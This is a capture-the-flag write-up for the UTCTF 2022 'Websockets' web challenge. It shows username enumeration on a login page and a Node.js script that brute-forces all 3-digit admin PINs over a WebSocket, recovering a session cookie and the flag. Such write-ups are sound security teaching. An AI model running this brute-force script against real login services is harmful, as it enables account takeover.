Rating: 5.0

[Original writeup source](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#websockets)

---

Navigating to the website, the home page is so:

![](https://barelycompetent.dev/img/CTFs/2022/utctf2022/websockets_home.png)

Navigating to the login page, it looks like a pretty simple page:

![](https://barelycompetent.dev/img/CTFs/2022/utctf2022/websockets_login_home.png)

Trying a few common things, we notice a bit of information disclosure/leakage in the form of username leakage. Entering a username that doesn’t exist we get an error message that the username doesn’t exist in the system:

![](https://barelycompetent.dev/img/CTFs/2022/utctf2022/websockets_login_baduser.png)

But if we guess the correct user, we are shown a different message, leaking the usernames in the system:

![](https://barelycompetent.dev/img/CTFs/2022/utctf2022/websockets_login_badpw.png)

So we know the username is admin. Looking at the page source, we can see the login logic is so:

```
<div class="topbox">
<h1>Login</h1>
<span></span>
<form method="post">
<input name="username" type="text" placeholder="Username" required>

<input name="password" type="password" placeholder="PIN" required pattern="(\d{3}|\d{16})">
<input type="submit">
</form>
<script src="/static/login.js"></script>
</div>
```

We can assume the password pin is going to be 3 digits (`\d{3}`), since 16 would be not feasible to brute force for a CTF:)

We also can see the source for the login JS itself:

```
document.querySelector("input[type=submit]").addEventListener("click", checkPassword);

function checkPassword(evt) {
evt.preventDefault();
const socket = new WebSocket("ws://" + window.location.host + "/internal/ws")
socket.addEventListener('message', (event) => {
if (event.data == "begin") {
socket.send("begin");
socket.send("user " + document.querySelector("input[name=username]").value)
socket.send("pass " + document.querySelector("input[name=password]").value)
} else if (event.data == "baduser") {
document.querySelector(".error").innerHTML = "Unknown user";
socket.close()
} else if (event.data == "badpass") {
document.querySelector(".error").innerHTML = "Incorrect PIN";
socket.close()
} else if (event.data.startsWith("session ")) {
document.cookie = "flask-session=" + event.data.replace("session ", "") + ";";
socket.send("goodbye")
socket.close()
window.location = "/internal/user";
} else {
document.querySelector(".error").innerHTML = "Unknown error";
socket.close()
}
})
}
```

Now we see why the challenge is called Websockets?. The login function above is creating a Websocket to the challenge URL (which, when we look at it in browser is stored in the window.location.host value), and submitting our POST’ed forms username and password.

So, the task is clear: using username admin, brute force all possible 3-digit pins. Once logged in, we’ll probably have the flag.

The problem I had with this challenge was finding how to actually send the data to the websocket. Not being a web solver usually, the tools I would default to (curl, etc) didn’t work since it’s sending data to the websocket instead of the host directly. I tried a few things on SO (websocat, a specially crafted set of headers for cURL, etc) but none seemed to work.

I ended up just modified the given login.js above to do the simply bruteforcing, and run it with node.

First, make sure you have `ws` installed (which provides the WebSocket package).

```
const WebSocket = require('ws');

pins = ["000","001","002","003","004","005","006","007","008","009","010","011","012","013","014","015","016","017","018","019","020","021","022","023","024","025","026","027","028","029","030","031","032","033","034","035","036","037","038","039","040","041","042","043","044","045","046","047","048","049","050","051","052","053","054","055","056","057","058","059","060","061","062","063","064","065","066","067","068","069","070","071","072","073","074","075","076","077","078","079","080","081","082","083","084","085","086","087","088","089","090","091","092","093","094","095","096","097","098","099","100","101","102","103","104","105","106","107","108","109","110","111","112","113","114","115","116","117","118","119","120","121","122","123","124","125","126","127","128","129","130","131","132","133","134","135","136","137","138","139","140","141","142","143","144","145","146","147","148","149","150","151","152","153","154","155","156","157","158","159","160","161","162","163","164","165","166","167","168","169","170","171","172","173","174","175","176","177","178","179","180","181","182","183","184","185","186","187","188","189","190","191","192","193","194","195","196","197","198","199","200","201","202","203","204","205","206","207","208","209","210","211","212","213","214","215","216","217","218","219","220","221","222","223","224","225","226","227","228","229","230","231","232","233","234","235","236","237","238","239","240","241","242","243","244","245","246","247","248","249","250","251","252","253","254","255","256","257","258","259","260","261","262","263","264","265","266","267","268","269","270","271","272","273","274","275","276","277","278","279","280","281","282","283","284","285","286","287","288","289","290","291","292","293","294","295","296","297","298","299","300","301","302","303","304","305","306","307","308","309","310","311","312","313","314","315","316","317","318","319","320","321","322","323","324","325","326","327","328","329","330","331","332","333","334","335","336","337","338","339","340","341","342","343","344","345","346","347","348","349","350","351","352","353","354","355","356","357","358","359","360","361","362","363","364","365","366","367","368","369","370","371","372","373","374","375","376","377","378","379","380","381","382","383","384","385","386","387","388","389","390","391","392","393","394","395","396","397","398","399","400","401","402","403","404","405","406","407","408","409","410","411","412","413","414","415","416","417","418","419","420","421","422","423","424","425","426","427","428","429","430","431","432","433","434","435","436","437","438","439","440","441","442","443","444","445","446","447","448","449","450","451","452","453","454","455","456","457","458","459","460","461","462","463","464","465","466","467","468","469","470","471","472","473","474","475","476","477","478","479","480","481","482","483","484","485","486","487","488","489","490","491","492","493","494","495","496","497","498","499","500","501","502","503","504","505","506","507","508","509","510","511","512","513","514","515","516","517","518","519","520","521","522","523","524","525","526","527","528","529","530","531","532","533","534","535","536","537","538","539","540","541","542","543","544","545","546","547","548","549","550","551","552","553","554","555","556","557","558","559","560","561","562","563","564","565","566","567","568","569","570","571","572","573","574","575","576","577","578","579","580","581","582","583","584","585","586","587","588","589","590","591","592","593","594","595","596","597","598","599","600","601","602","603","604","605","606","607","608","609","610","611","612","613","614","615","616","617","618","619","620","621","622","623","624","625","626","627","628","629","630","631","632","633","634","635","636","637","638","639","640","641","642","643","644","645","646","647","648","649","650","651","652","653","654","655","656","657","658","659","660","661","662","663","664","665","666","667","668","669","670","671","672","673","674","675","676","677","678","679","680","681","682","683","684","685","686","687","688","689","690","691","692","693","694","695","696","697","698","699","700","701","702","703","704","705","706","707","708","709","710","711","712","713","714","715","716","717","718","719","720","721","722","723","724","725","726","727","728","729","730","731","732","733","734","735","736","737","738","739","740","741","742","743","744","745","746","747","748","749","750","751","752","753","754","755","756","757","758","759","760","761","762","763","764","765","766","767","768","769","770","771","772","773","774","775","776","777","778","779","780","781","782","783","784","785","786","787","788","789","790","791","792","793","794","795","796","797","798","799","800","801","802","803","804","805","806","807","808","809","810","811","812","813","814","815","816","817","818","819","820","821","822","823","824","825","826","827","828","829","830","831","832","833","834","835","836","837","838","839","840","841","842","843","844","845","846","847","848","849","850","851","852","853","854","855","856","857","858","859","860","861","862","863","864","865","866","867","868","869","870","871","872","873","874","875","876","877","878","879","880","881","882","883","884","885","886","887","888","889","890","891","892","893","894","895","896","897","898","899","900","901","902","903","904","905","906","907","908","909","910","911","912","913","914","915","916","917","918","919","920","921","922","923","924","925","926","927","928","929","930","931","932","933","934","935","936","937","938","939","940","941","942","943","944","945","946","947","948","949","950","951","952","953","954","955","956","957","958","959","960","961","962","963","964","965","966","967","968","969","970","971","972","973","974","975","976","977","978","979","980","981","982","983","984","985","986","987","988","989","990","991","992","993","994","995","996","997","998","999"]

for (let step = 0; step < pins.length; step++) {
checkPassword(pins[step]);
}

function checkPassword(maybePin) {
//evt.preventDefault();
const socket = new WebSocket("ws://web1.utctf.live:8651//internal/ws")
socket.addEventListener('message', (event) => {
if (event.data == "begin") {
socket.send("begin");
socket.send("user admin")
socket.send("pass "+maybePin)
} else if (event.data == "baduser") {
console.log("Unknown user");
socket.close()
} else if (event.data == "badpass") {
// uncomment for verbose
//console.log("Incorrect PIN");
socket.close()
} else if (event.data.startsWith("session ")) {
console.log("Found the pin:");
console.log(maybePin);
console.log("flask-session=" + event.data.replace("session ", "") + ";");
//document.cookie = "flask-session=" + event.data.replace("session ", "") + ";";
socket.send("goodbye")
socket.close()
///window.location = "/internal/user";
} else {
console.log("Unknown error");
//document.querySelector(".error").innerHTML = "Unknown error";
socket.close()
}
})
}
```

(It's a bit hacky, forgive me)

Saving the above to login.js and running with node login.js, we find the pin:

```
node login.js

Found pin:
907
flask-session=eyJ0eXAiOiJKV1QiLC...
```

Logging in with `admin:907`, we get the flag:

![](https://barelycompetent.dev/img/CTFs/2022/utctf2022/websockets_flag.png)

Flag is `utflag{w3bsock3ts}`.

Original writeup (https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#websockets).
h4ck7u5March 14, 2022, 2:15 p.m.

"npm install ws" is required for linux